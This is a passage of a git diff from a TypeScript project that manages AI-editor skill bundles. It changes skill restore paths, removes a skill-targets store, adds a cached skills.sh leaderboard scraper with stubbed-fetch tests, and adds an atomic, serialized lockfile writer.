version: string;
+ /** contentDir-relative bundle dir (POSIX); defaults to `.ok/skills/<name>`. */
+ skillDirRel?: string;
}): Promise<RestoreSkillResult> {
const { shadow, contentDir, contentRoot, name, version } = opts;
+ const skillDirRel = opts.skillDirRel ?? `.ok/skills/${name}`;
if (!existsSync(shadow.workTree) || !existsSync(shadow.gitDir)) {
return { ok: false, code: 'no-shadow', error: 'No shadow repo — nothing to restore from.' };
}
- const shadowPath = skillShadowPath(contentRoot, name);
const sg = shadowGit(shadow);
- let files: string[];
+ // The bundle may have LIVED SOMEWHERE ELSE at `version` — an in-place skill
+ // whose baseline predates its store→in-place migration sits at
+ // `.ok/skills/<name>` in that commit's tree. Try the current dir first, then
+ // the historical store path; the RESTORE DESTINATION is always the current
+ // dir, so a cross-location restore also completes the relocation.
+ const candidateRels = [...new Set([skillDirRel, `.ok/skills/${name}`])];
+ let files: string[] = [];
+ let shadowPath = skillShadowPath(contentRoot, skillDirRel);
try {
- files = await listNames(sg, ['ls-tree', '-r', '--name-only', version, '--', shadowPath]);
+ for (const rel of candidateRels) {
+ const candidatePath = skillShadowPath(contentRoot, rel);
+ const found = await listNames(sg, [
+ 'ls-tree',
+ '-r',
+ '--name-only',
+ version,
+ '--',
+ candidatePath,
+ ]);
+ if (found.length > 0) {
+ files = found;
+ shadowPath = candidatePath;
+ break;
+ }
+ }
} catch (e) {
// Distinguish "this commit/SHA genuinely isn't in the shadow repo" (a client
// 404) from a git I/O failure — git binary missing, repo corrupt, etc. (a
@@ -107,7 +133,7 @@ export async function restoreSkillVersion(opts: {
// authoritatively, so a `git show` failure or an escaping path mid-rewrite
// would leave a torn skill. Read-all-and-validate-first means any failure
// aborts before a single destructive write.
- const skillDirAbs = resolve(contentDir, '.ok', 'skills', name);
+ const skillDirAbs = resolve(contentDir, skillDirRel);
const containmentPrefix = skillDirAbs + sep;
const staged: Array<{ rel: string; destAbs: string; content: string }> = [];
for (const shadowFile of files) {
diff --git a/packages/server/src/skill-state.test.ts b/packages/server/src/skill-state.test.ts
index 714a78082..820016982 100644
--- a/packages/server/src/skill-state.test.ts
+++ b/packages/server/src/skill-state.test.ts
@@ -75,17 +75,16 @@ describe('readServerPackageVersion', () => {
});
});
-describe('build-time invariant — package.json version matches SKILL.md metadata.version', () => {
- // Both bundles version in lockstep with the server package.
- for (const bundle of ['discovery', 'project'] as const) {
- test(`${bundle} bundle SKILL.md metadata.version === server package.json version`, async () => {
+describe('built-in SKILL.md carries no version stamp', () => {
+ // Built-ins update through the skills.sh reimport path, not an app-bundled
+ // version stamp. A `version:` field in frontmatter is the merge-conflict
+ // footgun this removed — guard that it stays gone.
+ for (const bundle of ['discovery', 'project', 'write-skill'] as const) {
+ test(`${bundle} bundle SKILL.md frontmatter has no version: field`, async () => {
const skillMdUrl = new URL(`../assets/skills/${bundle}/SKILL.md`, import.meta.url);
const skillMd = await readFile(fileURLToPath(skillMdUrl), 'utf-8');
- const versionMatch = skillMd.match(/^\s*version:\s*"?([^"\n]+)"?\s*$/m);
- expect(versionMatch).not.toBeNull();
- const skillMdVersion = versionMatch?.[1]?.trim();
- const pkgVersion = await readServerPackageVersion();
- expect(skillMdVersion).toBe(pkgVersion);
+ const frontmatter = skillMd.split(/^---$/m)[1] ?? '';
+ expect(frontmatter).not.toMatch(/^\s*version:/m);
});
}
});
diff --git a/packages/server/src/skill-targets-store.test.ts b/packages/server/src/skill-targets-store.test.ts
deleted file mode 100644
index adc42d537..000000000
--- a/packages/server/src/skill-targets-store.test.ts
+++ /dev/null
@@ -1,40 +0,0 @@
-import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
-import { tmpdir } from 'node:os';
-import { join } from 'node:path';
-import { afterEach, beforeEach, describe, expect, test } from 'vitest';
-import { readSkillTargets, skillTargetsPath, writeSkillTargets } from './skill-targets-store.ts';
-
-let projectDir: string;
-
-beforeEach(() => {
- projectDir = mkdtempSync(join(tmpdir(), 'ok-targets-'));
-});
-afterEach(() => {
- rmSync(projectDir, { recursive: true, force: true });
-});
-
-describe('skill-targets store', () => {
- test('absent store reads null (→ caller falls back to detection)', () => {
- expect(readSkillTargets(projectDir)).toBeNull();
- });
-
- test('write then read round-trips, committed at .ok/ root (not local/)', async () => {
- await writeSkillTargets(projectDir, ['claude', 'cursor']);
- expect(skillTargetsPath(projectDir)).toContain('/.ok/skill-targets.json');
- expect(skillTargetsPath(projectDir)).not.toContain('/local/');
- expect(readSkillTargets(projectDir)).toEqual(['claude', 'cursor']);
- });
-
- test('write de-dupes and an empty set is distinct from absent', async () => {
- await writeSkillTargets(projectDir, ['claude', 'claude', 'codex']);
- expect(readSkillTargets(projectDir)).toEqual(['claude', 'codex']);
- await writeSkillTargets(projectDir, []);
- expect(readSkillTargets(projectDir)).toEqual([]); // empty != null
- });
-
- test('corrupt store reads null (fail-soft)', async () => {
- await writeSkillTargets(projectDir, ['claude']);
- writeFileSync(skillTargetsPath(projectDir), '{ not json', 'utf-8');
- expect(readSkillTargets(projectDir)).toBeNull();
- });
-});
diff --git a/packages/server/src/skill-targets-store.ts b/packages/server/src/skill-targets-store.ts
deleted file mode 100644
index a30ce499e..000000000
--- a/packages/server/src/skill-targets-store.ts
+++ /dev/null
@@ -1,74 +0,0 @@
-/**
- * Read/write the per-project skill-targets store at
- * `<projectDir>/.ok/skill-targets.json` — the COMMITTED, editable set of editor
- * host dirs OK projects skills into (teammates inherit it). `null` from the
- * reader means "no committed targets" → callers fall back to detecting the
- * editors the project is configured for.
- *
- * Atomic write through the traced fs primitives. Schema + parse live in core
- * so any reader (CLI, future surfaces) validates identically.
- */
-
-import { existsSync, readFileSync } from 'node:fs';
-import { dirname, join } from 'node:path';
-import {
- parseSkillTargets,
- SKILL_TARGETS_REL,
- SKILL_TARGETS_SCHEMA_VERSION,
- type SkillTargetEditor,
- SkillTargetsSchema,
-} from '@inkeep/open-knowledge-core';
-import { atomicWriteFile } from '@inkeep/open-knowledge-core/server';
-import { tracedAtomicFs, tracedMkdir } from './fs-traced.ts';
-import { getLogger } from './logger.ts';
-
-const logger = getLogger('skill-targets-store');
-
-/** Absolute path to the committed skill-targets store for a project. */
-export function skillTargetsPath(projectDir: string): string {
- return join(projectDir, ...SKILL_TARGETS_REL);
-}
-
-/**
- * Read the committed target editor ids. Returns `null` when the store is
- * absent or corrupt (fail-soft) — callers then fall back to detecting the
- * project-configured editors.
- */
-export function readSkillTargets(projectDir: string): SkillTargetEditor[] | null {
- const path = skillTargetsPath(projectDir);
- if (!existsSync(path)) return null;
- try {
- const parsed = parseSkillTargets(readFileSync(path, 'utf-8'));
- return parsed ? parsed.targets : null;
- } catch (err) {
- // Fail-soft to detection, but surface the corrupt committed file — silent
- // null masks why teammates' configured targets stopped applying.
- logger.warn({ err, path }, 'skill-targets store unreadable');
- return null;
- }
-}
-
-/** Validate then atomically write the committed skill-targets store. */
-export async function writeSkillTargets(
- projectDir: string,
- targets: SkillTargetEditor[],
-): Promise<void> {
- // De-dupe while preserving order so the committed file is stable.
- const deduped = Array.from(new Set(targets));
- const parsed = SkillTargetsSchema.safeParse({
- schema: SKILL_TARGETS_SCHEMA_VERSION,
- targets: deduped,
- });
- if (!parsed.success) {
- throw new Error(
- `Refusing to write invalid skill-targets: ${parsed.error.issues
- .map((i) => `${i.path.join('.')}: ${i.message}`)
- .join('; ')}`,
- );
- }
- const path = skillTargetsPath(projectDir);
- await tracedMkdir(dirname(path), { recursive: true });
- await atomicWriteFile(path, `${JSON.stringify(parsed.data, null, 2)}\n`, {
- fs: tracedAtomicFs,
- });
-}
diff --git a/packages/server/src/skills-leaderboard.test.ts b/packages/server/src/skills-leaderboard.test.ts
new file mode 100644
index 000000000..3f1de9f31
--- /dev/null
+++ b/packages/server/src/skills-leaderboard.test.ts
@@ -0,0 +1,69 @@
+import { afterEach, describe, expect, test } from 'vitest';
+import { __resetPopularSkillsCache, getPopularSkills } from './skills-leaderboard.ts';
+
+// Build a minimal raw Flight payload from (source, skillId, installs) triples, in
+// the field order the real skills.sh payload uses.
+//
+// Each card is a brace-delimited OBJECT, because that is what RSC Flight
+// actually serializes a card as. This helper used to emit bare `"key":value`
+// runs directly inside the array — not valid JSON, and a shape Flight cannot
+// produce — which only parsed because the old scanner matched loose key/value
+// pairs anywhere in the stream. The sibling fixture in
+// `core/src/skills-catalog/leaderboard.test.ts` has always used objects.
+const flight = (rows: Array<[string, string, number]>): string =>
+ `0:[${rows
+ .map(
+ ([s, k, n]) =>
+ `{"source":${JSON.stringify(s)},"skillId":${JSON.stringify(k)},"installs":${n}}`,
+ )
+ .join(',')}]`;
+
+// A fake `fetch` returning a fixture body — stubs the one boundary (HTTP) we
+// don't own, so the fetch→parse→map→cache pipeline runs deterministically.
+const fixtureFetch = (body: string, status = 200): typeof fetch =>
+ (async () => new Response(body, { status })) as unknown as typeof fetch;
+
+describe('getPopularSkills', () => {
+ afterEach(__resetPopularSkillsCache);
+
+ test('maps + install-sorts the scraped payload into SkillSearchResults', async () => {
+ const body = flight([
+ ['a/b', 'x', 10],
+ ['c/d', 'y', 99],
+ ['a/b', 'z', 50],
+ ]);
+ const rows = await getPopularSkills(24, { fetchImpl: fixtureFetch(body) });
+ expect(rows.map((r) => r.id)).toEqual(['c/d/y', 'a/b/z', 'a/b/x']);
+ expect(rows[0]).toMatchObject({ name: 'y', source: 'c/d', installs: 99, publisher: 'c' });
+ });
+
+ test('best-effort: [] on a non-OK response (never throws into Discover)', async () => {
+ expect(await getPopularSkills(24, { fetchImpl: fixtureFetch('x', 500) })).toEqual([]);
+ });
+
+ test('best-effort: [] on an unparseable body', async () => {
+ expect(
+ await getPopularSkills(24, { fetchImpl: fixtureFetch('<html>no cards</html>') }),
+ ).toEqual([]);
+ });
+
+ test('caches within the TTL — one upstream fetch across calls', async () => {
+ let calls = 0;
+ const counting = (async () => {
+ calls++;
+ return new Response(flight([['a/b', 'x', 1]]), { status: 200 });
+ }) as unknown as typeof fetch;
+ await getPopularSkills(24, { fetchImpl: counting, now: 1000 });
+ await getPopularSkills(24, { fetchImpl: counting, now: 1000 + 60_000 }); // < TTL
+ expect(calls).toBe(1);
+ });
+
+ test('limit truncates the ranked list', async () => {
+ const body = flight([
+ ['a/b', 'x', 10],
+ ['c/d', 'y', 99],
+ ['a/b', 'z', 50],
+ ]);
+ expect(await getPopularSkills(2, { fetchImpl: fixtureFetch(body) })).toHaveLength(2);
+ });
+});
diff --git a/packages/server/src/skills-leaderboard.ts b/packages/server/src/skills-leaderboard.ts
new file mode 100644
index 000000000..767d4d7c9
--- /dev/null
+++ b/packages/server/src/skills-leaderboard.ts
@@ -0,0 +1,67 @@
+/**
+ * Server-side "popular skills" source for the Discover blank state.
+ *
+ * skills.sh has no keyless leaderboard endpoint (that data is token-gated), so we
+ * scrape the front-page Next.js RSC payload and parse it with the pure
+ * `parseSkillsShLeaderboard` (in core, unit-tested). This module owns the network
+ * + cache half:
+ *
+ * - ONE warm fetch per server, shared across all clients, cached with a short
+ * TTL (the board moves slowly). Clients never scrape skills.sh directly.
+ * - Best-effort: any failure (network, HTTP, or a 0-card parse from format
+ * drift) logs and returns the last good list if we have one, else `[]`. It
+ * NEVER throws — a scrape break degrades Discover to topic chips, it doesn't
+ * error the page.
+ */
+
+import type { SkillSearchResult } from '@inkeep/open-knowledge-core';
+import { parseSkillsShLeaderboard } from '@inkeep/open-knowledge-core/skills-catalog';
+import { getLogger } from './logger.ts';
+
+const log = getLogger('skills-leaderboard');
+
+// The all-time board moves slowly; a 10-minute TTL keeps it fresh enough while
+// collapsing every client's Discover open into at most one upstream fetch.
+const TTL_MS = 10 * 60_000;
+// Prefer the lighter RSC Flight stream (~140KB) over full HTML (~920KB); the
+// parser handles either if the server ignores the header.
+const FRONT_PAGE = 'https://www.skills.sh/';
+
+let cache: { at: number; data: SkillSearchResult[] } | null = null;
+
+/**
+ * Popular skills (most-installed first) for the Discover blank state. Cached;
+ * best-effort. `now` and `fetchImpl` are injectable so the fetch→parse→map→cache
+ * pipeline is unit-testable offline against a fixture body (the one idea worth
+ * lifting from the standalone leaderboard client — we keep the productionized
+ * cache + degrade-don't-throw posture rather than its throwing CLI shape).
+ */
+export async function getPopularSkills(
+ limit = 24,
+ opts: { now?: number; fetchImpl?: typeof fetch } = {},
+): Promise<SkillSearchResult[]> {
+ const now = opts.now ?? Date.now();
+ const doFetch = opts.fetchImpl ?? fetch;
+ if (cache && now - cache.at < TTL_MS) return cache.data.slice(0, limit);
+ try {
+ const res = await doFetch(FRONT_PAGE, {
+ headers: { 'user-agent': 'open-knowledge (+skills discovery)', RSC: '1' },
+ signal: AbortSignal.timeout(8000),
+ });
+ if (!res.ok) throw new Error(`HTTP ${res.status} ${res.statusText}`);
+ const data = parseSkillsShLeaderboard(await res.text());
+ if (data.length === 0) throw new Error('parsed 0 skills (payload format may have changed)');
+ cache = { at: now, data };
+ return data.slice(0, limit);
+ } catch (err) {
+ log.warn({ err }, 'skills.sh leaderboard fetch failed — Discover falls back to topics');
+ // A stale-but-real list beats an empty Discover; only truly-never-fetched
+ // servers return [].
+ return cache?.data.slice(0, limit) ?? [];
+ }
+}
+
+/** Test seam: reset the module cache between cases. */
+export function __resetPopularSkillsCache(): void {
+ cache = null;
+}
diff --git a/packages/server/src/skills-lock-store.ts b/packages/server/src/skills-lock-store.ts
new file mode 100644
index 000000000..658d2fdec
--- /dev/null
+++ b/packages/server/src/skills-lock-store.ts
@@ -0,0 +1,75 @@
+/**
+ * Persistence boundary for the committed import lockfile (`.ok/skills-lock.json`).
+ *
+ * The sibling machine-local placement ledger got serialization and atomic writes;
+ * this file — which is COMMITTED, shared with teammates, and the only record of
+ * where an imported skill came from — had neither. The asymmetry was backwards.
+ *
+ * Serialized, because every mutation is read-whole → edit → write-whole with an
+ * await in the middle, and on the import paths that await is a network clone.
+ * Unserialized, a reimport that started before a concurrent import finished
+ * would write back its stale snapshot and erase the other skill's entry: the
+ * bundle on disk stays fine, so the loss is silent until someone tries to update
+ * that skill and is told it was never imported.
+ *
+ * Atomic, because a truncated lockfile parses as `null`, which `readSkillsLock`
+ * fails soft into an EMPTY lock — losing origin, Modified and Revert for every
+ * imported skill in the project at once.
+ */
+
+import { existsSync, readFileSync } from 'node:fs';
+import { dirname } from 'node:path';
+import { atomicWriteFile } from '@inkeep/open-knowledge-core/server';
+import {
+ emptySkillsLock,
+ parseSkillsLock,
+ type SkillsLock,
+} from '@inkeep/open-knowledge-core/skills-catalog';
+import { tracedMkdir } from './fs-traced.ts';
+import { TRACED_FS_ADAPTER } from './installed-skills-marker.ts';
+import { createKeyedSerializer } from './keyed-serializer.ts';
+import { getLogger } from './logger.ts';
+
+/**
+ * Read the lockfile, or an empty one. Fail-soft on a corrupt file is deliberate
+ * (a bad lockfile must not break an import), which is exactly why the write side
+ * has to be atomic — see the module docblock.
+ */
+export function readSkillsLockFile(lockPath: string): SkillsLock {
+ if (!existsSync(lockPath)) return emptySkillsLock();
+ const parsed = parseSkillsLock(readFileSync(lockPath, 'utf-8'));
+ if (parsed) return parsed;
+ // Present but unparseable. Continuing with an empty lock is the deliberate
+ // fail-soft, but it silently drops origin, Modified, and Revert for every
+ // imported skill at once — the operator gets no other signal that it
+ // happened, and the next write persists the empty lock over the corrupt one.
+ getLogger('skills-lock').warn(
+ { lockPath },
+ 'skills-lock.json is unreadable; continuing with an empty lock (import provenance for this project is lost)',
+ );
+ return emptySkillsLock();
+}
+
+const serializeLockWrite = createKeyedSerializer();
+
+/**
+ * Read-modify-write the lockfile under a per-path lock. `mutate` receives the
+ * freshly-read lock and returns the one to persist (or nothing, to persist the
+ * object it mutated in place).
+ *
+ * Read the lock INSIDE the callback — a snapshot taken before calling this is
+ * the stale-write bug the serializer exists to prevent.
+ */
+export function mutateSkillsLock(
+ lockPath: string,
+ mutate: (lock: SkillsLock) => SkillsLock | undefined,
+): Promise<void> {
+ return serializeLockWrite(lockPath, async () => {
+ const current = readSkillsLockFile(lockPath);
+ const next = mutate(current) ?? current;
+ await tracedMkdir(dirname(lockPath), { recursive: true });
+ await atomicWriteFile(lockPath, `${JSON.stringify(next, null, 2)}\n`, {
+ fs: TRACED_FS_ADAPTER,
+ });
+ });
+}
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index fcaaea949..d90f17931 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -1267,6 +1267,9 @@ importers:
yaml:
specifier: ^2.7.1
version: 2.9.0
+ yauzl:
+ specifier: ^3.2.0
+ version: 3.4.0
yazl:
specifier: ^3.3.1
version: 3.3.1
@@ -1286,6 +1289,9 @@ importers:
'@types/ws':
specifier: ^8.18.1
version: 8.18.1
+ '@types/yauzl':
+ specifier: ^2.10.3
+ version: 2.10.3
'@types/yazl':
specifier: ^2.4.6
version: 2.4.6
@@ -11600,6 +11606,10 @@ packages:
resolution: {integrity: sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==}
+ resolution: {integrity: sha512-jIH9yLR9wqr0wOS0TpBvo/g/2UgZH5qePVbjgRliiF0BYvOZyaBknKsF+x9Iht0O6sqgnB93rCICdOZFecJuDw==}
+ engines: {node: '>=12'}
+
resolution: {integrity: sha512-BbETDVWG+VcMUle37k5Fqp//7SDOK2/1+T7X8TD96M3D9G8jK5VLUdQVdVjGi8im7FGkazX7kk5hkU8X4L5Bng==}
@@ -16403,7 +16413,6 @@ snapshots:
dependencies:
'@types/node': 24.13.3
- optional: true
dependencies:
@@ -23103,6 +23112,10 @@ snapshots:
buffer-crc32: 0.2.13
fd-slicer: 1.1.0
+ dependencies:
+ pend: 1.2.0
+
dependencies:
buffer-crc32: 1.0.0
diff --git a/test-support/vitest.base.ts b/test-support/vitest.base.ts
index 01bd8e9b4..76b34afb7 100644
--- a/test-support/vitest.base.ts
+++ b/test-support/vitest.base.ts
@@ -87,7 +87,7 @@ export const okVitestBase = {
hookTimeout: 30_000,
setupFiles: [bunGlobalShimPath],
include: ['**/*.test.ts?(x)'],
- exclude: [...configDefaults.exclude, '**/*.spec.*', '**/*.e2e.*', '**/*.dom.test.tsx'],
+ exclude: [...configDefaults.exclude, '**/*.spec.*', '**/*.e2e.*', '**/*.dom.test.ts?(x)'],
// Vitest 4 flattened the pool sizing knobs to top-level `maxWorkers`/
// `minWorkers` (the old `poolOptions.forks.maxForks` is a no-op here).
...(boundedMaxForks === undefined ? {} : { minWorkers: 1, maxWorkers: boundedMaxForks }),